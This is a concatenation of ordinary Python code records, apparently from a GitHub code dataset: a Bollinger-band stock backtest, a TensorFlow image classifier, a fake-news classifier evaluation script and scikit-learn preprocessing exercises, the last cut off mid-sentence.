MorkBollBackDownLine(object):\n\n def __init__(self, win_buff_rate, lost_buff_rate, cal_day, min_down_day, max_down_day):\n self._winBuffRate = win_buff_rate # 止盈率\n self._lostBuffRate = lost_buff_rate # 止损率\n self._calDay = cal_day # 计算天数\n self._minDownDay = min_down_day # boll 下轨最小天数\n self._maxDownDay = max_down_day # boll 下轨最大天数\n\n def mork_bollBackDownLine(self, stock_code, stock_name, statistics_data):\n base = BaseStock(\"base\")\n avg = Avg()\n avg_result = avg.get_avg(stock_code, stock_name)\n\n ball_class = Boll()\n boll_result = ball_class.get_boll(stock_code, stock_name)\n for i in range(0, 150):\n\n catch_stock = boll.analysis_stock(stock_code, stock_name, timeUtil.day_after_day(timeUtil.today(), i * -1), boll_result)\n\n if catch_stock is not None:\n after_datas = base.get_stock_data(stock_code, stock_name,\n timeUtil.day_after_day(catch_stock.get_trade_date(), 1),\n timeUtil.day_after_day(catch_stock.get_trade_date(), 20))\n after_datas.reverse()\n if len(after_datas) >= 1:\n catch_down_line_day=catch_stock.get_down_line_day_count()\n if catch_down_line_day >= self._minDownDay and catch_down_line_day <= self._maxDownDay:\n print(stock_name + \":\" + str(catch_stock))\n print(\"%s\t突破日股价\t%.2f\tBoll下轨天数\t%d\" % (stock_code, catch_stock.get_close(), catch_down_line_day))\n test_trade = {\n \"stockCode\": stock_code,\n \"startBuy\": 0,\n \"startBuyDate\": \"\",\n \"endBuy\": 0,\n \"endBuyDate\": \"\",\n # 止损率\n \"lostBuffRate\": self._lostBuffRate,\n # 止盈利率\n \"winBuffRate\": self._winBuffRate,\n \"earn\": 0,\n \"earnRate\": 0,\n \"holdDay\": 0,\n \"forceSell\": False,\n \"forceSellType\": \"\"\n }\n\n print(\"Line5[%.3f] - close[%.3f]\" % (avg_result[catch_stock.get_trade_date()][\"5\"], catch_stock.get_close()))\n self.cal_print_avg_line(catch_stock, avg_result, after_datas, 0, test_trade)\n for cal_day in range(2, self._calDay+1):\n if len(after_datas) >= cal_day:\n self.cal_print_avg_line(catch_stock, avg_result, after_datas, cal_day-1, test_trade)\n\n if test_trade[\"startBuy\"] > 0:\n print(\"stockCode\t%s\tstartBuy\t%.2f\t startBuyDate\t%s\t\tendBuy\t%.2f\tendBuyDate\t%s\tearn\t%.2f\tearnRate\t%.2f\tholdDay\t%d\tforceSell\t%s\tforceSellType\t%s\"\n %(\n test_trade[\"stockCode\"],\n test_trade[\"startBuy\"],\n test_trade[\"startBuyDate\"],\n test_trade[\"endBuy\"],\n test_trade[\"endBuyDate\"],\n test_trade[\"earn\"],\n test_trade[\"earnRate\"],\n test_trade[\"holdDay\"],\n test_trade[\"forceSell\"],\n test_trade[\"forceSellType\"]\n )\n )\n if test_trade[\"forceSellType\"] == \"down5Line\":\n statistics_data[\"down5LineTime\"]=statistics_data[\"down5LineTime\"]+1\n statistics_data[\"down5LineMoney\"] = statistics_data[\"down5LineMoney\"] + test_trade[\"earnRate\"]\n elif test_trade[\"forceSellType\"] == \"winBuffRate\":\n statistics_data[\"winTime\"] = statistics_data[\"winTime\"] + 1\n statistics_data[\"winMoney\"] = statistics_data[\"winMoney\"] + test_trade[\"earnRate\"]\n elif test_trade[\"forceSellType\"] == \"lostBuffRate\":\n statistics_data[\"lostTime\"] = statistics_data[\"lostTime\"] + 1\n statistics_data[\"lostMoney\"] = statistics_data[\"lostMoney\"] + test_trade[\"earnRate\"]\n else:\n statistics_data[\"otherTime\"] = statistics_data[\"otherTime\"] + 1\n statistics_data[\"otherMoney\"] = statistics_data[\"otherMoney\"] + test_trade[\"earnRate\"]\n\n print(\"code\t%s\twinTime\t%d\twinMoney\t%.3f\tdown5LineTime\t%d\tdown5LineMoney\t%.3f\tlostTime\t%d\tlostMoney\t%.3f\totherTime\t%d\totherMoney\t%.3f\"\n %(\n stock_code,\n statistics_data[\"winTime\"],\n statistics_data[\"winMoney\"],\n statistics_data[\"down5LineTime\"],\n statistics_data[\"down5LineMoney\"],\n statistics_data[\"lostTime\"],\n statistics_data[\"lostMoney\"],\n statistics_data[\"otherTime\"],\n statistics_data[\"otherMoney\"]\n )\n )\n\n return statistics_data\n\n\n def cal_print_avg_line(self, catch_stock, avg_result, after_datas, day_count, test_trade):\n\n print(\"%sMork \tDay%d\t%.2f\t%.2f%%\tVS_Catch\t%.2f\t%.2f%%\"\n % (\n after_datas[day_count].get_trade_date(),\n (day_count+1),\n after_datas[day_count].get_close(),\n after_datas[day_count].get_pct_chg(),\n (after_datas[day_count].get_close() - catch_stock.get_close()),\n 100 * (after_datas[day_count].get_close() - catch_stock.get_close()) / catch_stock.get_close()\n )\n )\n\n one_day_avg = avg_result[after_datas[day_count].get_trade_date()]\n print(\"%sLine\tDay5\t%.3f\tday3\t%.3f\tDay6\t%.3f\tday8\t%.3f\tclose\t%.3f\"\n % (\n after_datas[day_count].get_trade_date(),\n one_day_avg[\"5\"],\n one_day_avg[\"3\"],\n one_day_avg[\"6\"],\n one_day_avg[\"8\"],\n after_datas[day_count].get_close()\n )\n )\n # 当前价格突破5日线，买入\n if test_trade[\"startBuy\"] == 0:\n if after_datas[day_count].get_close() > one_day_avg[\"5\"]:\n test_trade[\"startBuy\"] = after_datas[day_count].get_close()\n test_trade[\"holdDay\"] = 1\n test_trade[\"startBuyDate\"] = after_datas[day_count].get_trade_date()\n elif test_trade[\"forceSell\"] == False:\n # 还未强制卖出\n test_trade[\"holdDay\"] = test_trade[\"holdDay\"] + 1\n test_trade[\"endBuy\"] = after_datas[day_count].get_close()\n test_trade[\"endBuyDate\"] = after_datas[day_count].get_trade_date()\n test_trade[\"earn\"] = test_trade[\"endBuy\"] - test_trade[\"startBuy\"]\n # 计算损益\n test_trade[\"earnRate\"] = 100 * (test_trade[\"endBuy\"] - test_trade[\"startBuy\"]) / test_trade[\"startBuy\"]\n if after_datas[day_count].get_close() < one_day_avg[\"5\"]:\n # 跌破5日线，抛出\n test_trade[\"forceSell\"] = True\n test_trade[\"forceSellType\"] = \"down5Line\"\n return test_trade\n #止盈或止损\n if test_trade[\"earnRate\"] > test_trade[\"winBuffRate\"]:\n test_trade[\"forceSell\"] = True\n test_trade[\"forceSellType\"] = \"winBuffRate\"\n return test_trade\n if test_trade[\"earnRate\"] < test_trade[\"lostBuffRate\"]:\n test_trade[\"forceSell\"] = True\n test_trade[\"forceSellType\"] = \"lostBuffRate\"\n return test_trade\n\n return test_trade\n\n\n\n\n\n", "repo_name": "happyapan/indexAnalysis", "sub_path": "stock_mork/StockMork.py", "file_name": "StockMork.py", "file_ext": "py", "file_size_in_byte": 8758, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "stock.BaseStock.BaseStock", "line_number": 18, "usage_type": "call"}, {"api_name": "stock_analysis.Avg.Avg", "line_number": 19, "usage_type": "call"}, {"api_name": "stock_analysis.Boll.Boll", "line_number": 22, "usage_type": "call"}, {"api_name": "stock_strategy.BollBackDownLine.analysis_stock", "line_number": 26, "usage_type": "call"}, {"api_name": "stock_strategy.BollBackDownLine", "line_number": 26, "usage_type": "name"}, {"api_name": "tools.TimeUtil.day_after_day", "line_number": 26, "usage_type": "call"}, {"api_name": "tools.TimeUtil", "line_number": 26, "usage_type": "name"}, {"api_name": "tools.TimeUtil.today", "line_number": 26, "usage_type": "call"}, {"api_name": "tools.TimeUtil.day_after_day", "line_number": 30, "usage_type": "call"}, {"api_name": "tools.TimeUtil", "line_number": 30, "usage_type": "name"}, {"api_name": "tools.TimeUtil.day_after_day", "line_number": 31, "usage_type": "call"}, {"api_name": "tools.TimeUtil", "line_number": 31, "usage_type": "name"}]} +{"seq_id": "72789526997", "text": "#!/usr/bin/env python3\n\nimport os\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # to get rid of tensorflow CUDA warnings\n\nimport numpy as np\nimport os\nimport tensorflow as tf\n\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.models import Sequential\n\ntrain_path = \"chairData/\"\ntrain_labels = os.listdir(train_path)\n\nbatch_size = 32\nimg_height = 180\nimg_width = 180\n\ntrain_ds = tf.keras.preprocessing.image_dataset_from_directory(\n train_path,\n validation_split=0.2,\n subset=\"training\",\n seed=123,\n image_size=(img_height, img_width),\n batch_size=batch_size\n)\n\nval_ds = tf.keras.utils.image_dataset_from_directory(\n train_path,\n validation_split=0.2,\n subset=\"validation\",\n seed=123,\n image_size=(img_height, img_width),\n batch_size=batch_size)\n\nclass_names = train_ds.class_names\nprint(class_names)\n\nimport matplotlib.pyplot as plt\n\nplt.figure(figsize=(10, 10))\nfor images, labels in train_ds.take(1):\n for i in range(9):\n ax = plt.subplot(3, 3, i + 1)\n plt.imshow(images[i].numpy().astype(\"uint8\"))\n plt.title(class_names[labels[i]])\n plt.axis(\"off\")\n\nfor image_batch, labels_batch in train_ds:\n print(image_batch.shape)\n print(labels_batch.shape)\n break\n\nnum_classes = len(class_names)\n\nmodel = Sequential([\n layers.Rescaling(1. / 255, input_shape=(img_height, img_width, 3)),\n layers.Conv2D(16, 3, padding='same', activation='relu'),\n layers.MaxPooling2D(),\n layers.Conv2D(32, 3, padding='same', activation='relu'),\n layers.MaxPooling2D(),\n layers.Conv2D(64, 3, padding='same', activation='relu'),\n layers.MaxPooling2D(),\n layers.Flatten(),\n layers.Dense(128, activation='relu'),\n layers.Dense(num_classes)\n])\n\nmodel.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n\nmodel.summary()\n\nAUTOTUNE = tf.data.AUTOTUNE\n\ntrain_ds = train_ds.cache().shuffle(1000).prefetch(buffer_size=AUTOTUNE)\nval_ds = val_ds.cache().prefetch(buffer_size=AUTOTUNE)\n\nepochs = 10\nhistory = model.fit(\n train_ds,\n validation_data=val_ds,\n epochs=epochs\n)\n\nacc = history.history['accuracy']\nval_acc = history.history['val_accuracy']\n\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\nepochs_range = range(epochs)\n\nplt.figure(figsize=(8, 8))\nplt.subplot(1, 2, 1)\nplt.plot(epochs_range, acc, label='Training Accuracy')\nplt.plot(epochs_range, val_acc, label='Validation Accuracy')\nplt.legend(loc='lower right')\nplt.title('Training and Validation Accuracy')\n\nplt.subplot(1, 2, 2)\nplt.plot(epochs_range, loss, label='Training Loss')\nplt.plot(epochs_range, val_loss, label='Validation Loss')\nplt.legend(loc='upper right')\nplt.title('Training and Validation Loss')\nplt.show()\n\ndata_augmentation = keras.Sequential(\n [\n layers.RandomFlip(\"horizontal\",\n input_shape=(img_height,\n img_width,\n 3)),\n layers.RandomRotation(0.1),\n layers.RandomZoom(0.1),\n ]\n)\n\nplt.figure(figsize=(10, 10))\nfor images, _ in train_ds.take(1):\n for i in range(9):\n augmented_images = data_augmentation(images)\n ax = plt.subplot(3, 3, i + 1)\n plt.imshow(augmented_images[0].numpy().astype(\"uint8\"))\n plt.axis(\"off\")\n\n# Predict the image\n\ndaisy_path = '/home/model_s/ssingh/JypyterNotebook/Code-Base/Deep-learning/chairData//move/frame0.jpg'\n\nimg = tf.keras.utils.load_img(\n daisy_path, target_size=(img_height, img_width)\n)\nimg_array = tf.keras.utils.img_to_array(img)\nimg_array = tf.expand_dims(img_array, 0) # Create a batch\n\npredictions = model.predict(img_array)\nscore = tf.nn.softmax(predictions[0])\n\nprint(\n \"This image most likely belongs to {} with a {:.2f} percent confidence.\"\n .format(class_names[np.argmax(score)], 100 * np.max(score))\n)\n\nimport pickle\n\npickle.dump(model, open('model.pkl', 'wb'))\n\npickled_model = pickle.load(open('model.pkl', 'rb'))\n\npredictions = pickled_model.predict(img_array)\n\nscore = tf.nn.softmax(predictions[0])\n\nprint(\n \"This image most likely belongs to {} with a {:.2f} percent confidence.\"\n .format(class_names[np.argmax(score)], 100 * np.max(score))\n)\n", "repo_name": "xinchaosong/CS670_SP2022_Drone", "sub_path": "model_s/obsticle_prediction.py", "file_name": "obsticle_prediction.py", "file_ext": "py", "file_size_in_byte": 4289, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.environ", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.image_dataset_from_directory", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.utils.image_dataset_from_directory", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 31, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Rescaling", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 60, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 61, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 62, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 63, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 64, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 65, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 66, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 67, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 68, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 69, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tensorflow.data", "line_number": 78, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 112, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 112, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.RandomFlip", "line_number": 114, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 114, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.RandomRotation", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 118, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.RandomZoom", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.load_img", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 135, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.utils.img_to_array", "line_number": 138, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 138, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 139, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 142, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 146, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 151, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 153, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 157, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 161, "usage_type": "call"}]} +{"seq_id": "21820994479", "text": "import os\nimport logging\nimport pathlib\nimport argparse\nfrom pathlib import Path\n\nimport torch\nimport faiss\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nfrom sklearn.metrics import accuracy_score, f1_score\n\nfrom models.distilbert import DistilBertForSequenceEmbedding\nfrom models.voting import WeightedMajorityVoter\nfrom utils.data import LiarDataset\nfrom utils.index import cache_index\nfrom utils.artifacts import download_artifact, download_model_artifact\n\nlogging.getLogger().setLevel(logging.INFO)\n\nnum_labels = 3\n\ncwd = pathlib.Path(__file__).parent.resolve()\nsaved_models_dir = os.path.join(cwd, \"saved_models\")\nif not os.path.exists(saved_models_dir):\n os.mkdir(saved_models_dir)\nindex_dir = os.path.join(cwd, \"indexes\")\nif not os.path.exists(index_dir):\n os.mkdir(index_dir)\nartifacts_dir = os.path.join(cwd, \"artifacts\")\nif not os.path.exists(artifacts_dir):\n os.mkdir(artifacts_dir)\n\n\ndef eval_wrapper(args):\n test_dataset = LiarDataset(\"test\", num_labels=num_labels)\n test_ldr = DataLoader(test_dataset, batch_size=10)\n id_map = LiarDataset(\"train\", num_labels=num_labels).get_id_map()\n\n logging.info(\"Loading models...\")\n embedding_model = DistilBertForSequenceEmbedding()\n if args.model_path:\n embedding_model.load(args.model_path)\n if args.index_path:\n index = faiss.read_index(args.index_path)\n else:\n model_name = Path(os.path.basename(args.model_path)).stem\n index = cache_index(model_name, embedding_model, num_labels)\n\n elif args.artifact: # e.g. daily-tree-15-3-labels:v4\n model_name = args.artifact\n model_path = download_model_artifact(args.artifact)\n embedding_model.load(model_path)\n index_path = download_artifact(args.artifact)\n index = faiss.read_index(index_path)\n\n prediction_model = WeightedMajorityVoter()\n logging.info(\"Done!\")\n\n K = 3\n\n logging.info(f\"Running evaluation with model: '{model_name}'...\")\n eval_contrastive(embedding_model, index, prediction_model, K, id_map, test_ldr)\n\n\ndef eval_contrastive(\n embedding_model: DistilBertForSequenceEmbedding,\n index: faiss.IndexIDMap,\n prediction_model: WeightedMajorityVoter,\n K: int,\n id_map,\n dataloader: DataLoader,\n):\n if torch.cuda.is_available():\n logging.info(\"GPU available!\")\n embedding_model.to(\"cuda\")\n\n logging.info(\"Staring evaluation...\")\n predictions = []\n labels = []\n with torch.no_grad():\n for (batch_idx, batch) in tqdm(enumerate(dataloader)):\n # Generate embeddings\n embeddings = embedding_model(batch[\"data\"])\n\n # Cosine similarity search using normalized embeddings\n S, IDs = index.search(embeddings.cpu().numpy(), K)\n\n # Vote based on label of top 5 nearest examples\n votes = [[id_map[ID][\"label\"] for ID in K_ids] for K_ids in IDs]\n y_pred = prediction_model(votes, S)\n y_label = batch[\"label\"]\n\n # Update list of predictions and labels\n for pred in y_pred:\n predictions.append(int(pred))\n for label in y_label:\n labels.append(int(label))\n\n for label, pred in zip(labels, predictions):\n logging.info(f\"model predicted {pred} with label {label}\")\n\n metrics = {\n \"accuracy\": accuracy_score(labels, predictions),\n \"f1_score\": f1_score(labels, predictions, average=\"weighted\"),\n }\n\n logging.info(f\"Eval accuracy: {metrics['accuracy']}\")\n logging.info(f\"Eval weighted f1_score: {metrics['f1_score']}\")\n\n return metrics\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Evaluate a model.\")\n parser.add_argument(\"--model_path\", type=str)\n parser.add_argument(\"--index_path\", type=str)\n parser.add_argument(\"--artifact\", type=str)\n args = parser.parse_args()\n\n if not args.model_path and not args.artifact:\n raise Exception(\"Need to specify a model path or artifact!\")\n\n eval_wrapper(args)\n", "repo_name": "ardenma/cs329s", "sub_path": "backend/evaluate.py", "file_name": "evaluate.py", "file_ext": "py", "file_size_in_byte": 4039, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "85", "api": [{"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 32, "usage_type": "call"}, {"api_name": "utils.data.LiarDataset", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.data.LiarDataset", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 40, "usage_type": "call"}, {"api_name": "models.distilbert.DistilBertForSequenceEmbedding", "line_number": 41, "usage_type": "call"}, {"api_name": "faiss.read_index", "line_number": 45, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "utils.index.cache_index", "line_number": 48, "usage_type": "call"}, {"api_name": "utils.artifacts.download_model_artifact", "line_number": 52, "usage_type": "call"}, {"api_name": "utils.artifacts.download_artifact", "line_number": 54, "usage_type": "call"}, {"api_name": "faiss.read_index", "line_number": 55, "usage_type": "call"}, {"api_name": "models.voting.WeightedMajorityVoter", "line_number": 57, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 58, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 62, "usage_type": "call"}, {"api_name": "models.distilbert.DistilBertForSequenceEmbedding", "line_number": 67, "usage_type": "name"}, {"api_name": "faiss.IndexIDMap", "line_number": 68, "usage_type": "attribute"}, {"api_name": "models.voting.WeightedMajorityVoter", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 74, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 75, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 81, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 82, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 101, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 105, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 108, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 109, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 115, "usage_type": "call"}]} +{"seq_id": "27225764002", "text": "# Preprocessing and pipelines\n# This chapter introduces pipelines, and how scikit-learn allows for transformers and estimators to be chained together and used as a single unit. Preprocessing techniques will be introduced as a way to enhance model performance, and pipelines will tie together concepts from previous chapters.\n\n\n# # Import pandas\nimport pandas as pd\n\n# Read 'gapminder.csv' into a DataFrame: df\ndf = pd.read_csv('gapminder.csv')\n\n# Create a boxplot of life expectancy per region\ndf.boxplot('life','Region', rot=60)\n\n# Show the plot\nplt.show()\n\n\n\n# Creating dummy variables\n# As Andy discussed in the video, scikit-learn does not accept non-numerical features. You saw in the previous exercise that the 'Region' feature contains very useful information that can predict life expectancy. For example, Sub-Saharan Africa has a lower life expectancy compared to Europe and Central Asia. Therefore, if you are trying to predict life expectancy, it would be preferable to retain the 'Region' feature. To do this, you need to binarize it by creating dummy variables, which is what you will do in this exercise.\n\n# Create dummy variables: df_region\ndf_region = pd.get_dummies(df)\n\n# Print the columns of df_region\nprint(df_region.columns)\n\n# Create dummy variables with drop_first=True: df_region\ndf_region = pd.get_dummies(df, drop_first=True)\n\n# Print the new columns of df_region\nprint(df_region.columns)\n\n\n\n# Regression with categorical features\n# Having created the dummy variables from the 'Region' feature, you can build regression models as you did before. Here, you'll use ridge regression to perform 5-fold cross-validation.\n\n# The feature array X and target variable array y have been pre-loaded.\n\n\n# Import necessary modules\nfrom sklearn.linear_model import Ridge\nfrom sklearn.model_selection import cross_val_score\n\n# Instantiate a ridge regressor: ridge\nridge = Ridge(alpha=0.5,normalize=True)\n\n# Perform 5-fold cross-validation: ridge_cv\nridge_cv = cross_val_score(ridge,X,y,cv =5)\n\n# Print the cross-validated scores\nprint(ridge_cv)\n\n\n\n# Dropping missing data\n# The voting dataset from Chapter 1 contained a bunch of missing values that we dealt with for you behind the scenes. Now, it's time for you to take care of these yourself!\n\n# The unprocessed dataset has been loaded into a DataFrame df. Explore it in the IPython Shell with the .head() method. You will see that there are certain data points labeled with a '?'. These denote missing values. As you saw in the video, different datasets encode missing values in different ways. Sometimes it may be a '9999', other times a 0 - real-world data can be very messy! If you're lucky, the missing values will already be encoded as NaN. We use NaN because it is an efficient and simplified way of internally representing missing data, and it lets us take advantage of pandas methods such as .dropna() and .fillna(), as well as scikit-learn's Imputation transformer Imputer().\n\n# In this exercise, your job is to convert the '?'s to NaNs, and then drop the rows that contain them from the DataFrame.\n\n\n# Convert '?' to NaN\ndf[df == \"?\"] = np.nan\n\n# Print the number of NaNs\nprint(df.isnull().sum())\n\n# Print shape of original DataFrame\nprint(\"Shape of Original DataFrame: {}\".format(df.shape))\n\n# Drop missing values and print shape of new DataFrame\ndf = df.dropna()\n\n# Print shape of new DataFrame\nprint(\"Shape of DataFrame After Dropping All Rows with Missing Values: {}\".format(df.shape))\n\n\n\n# Imputing missing data in a ML Pipeline I\n# As you've come to appreciate, there are many steps to building a model, from creating training and test sets, to fitting a classifier or regressor, to 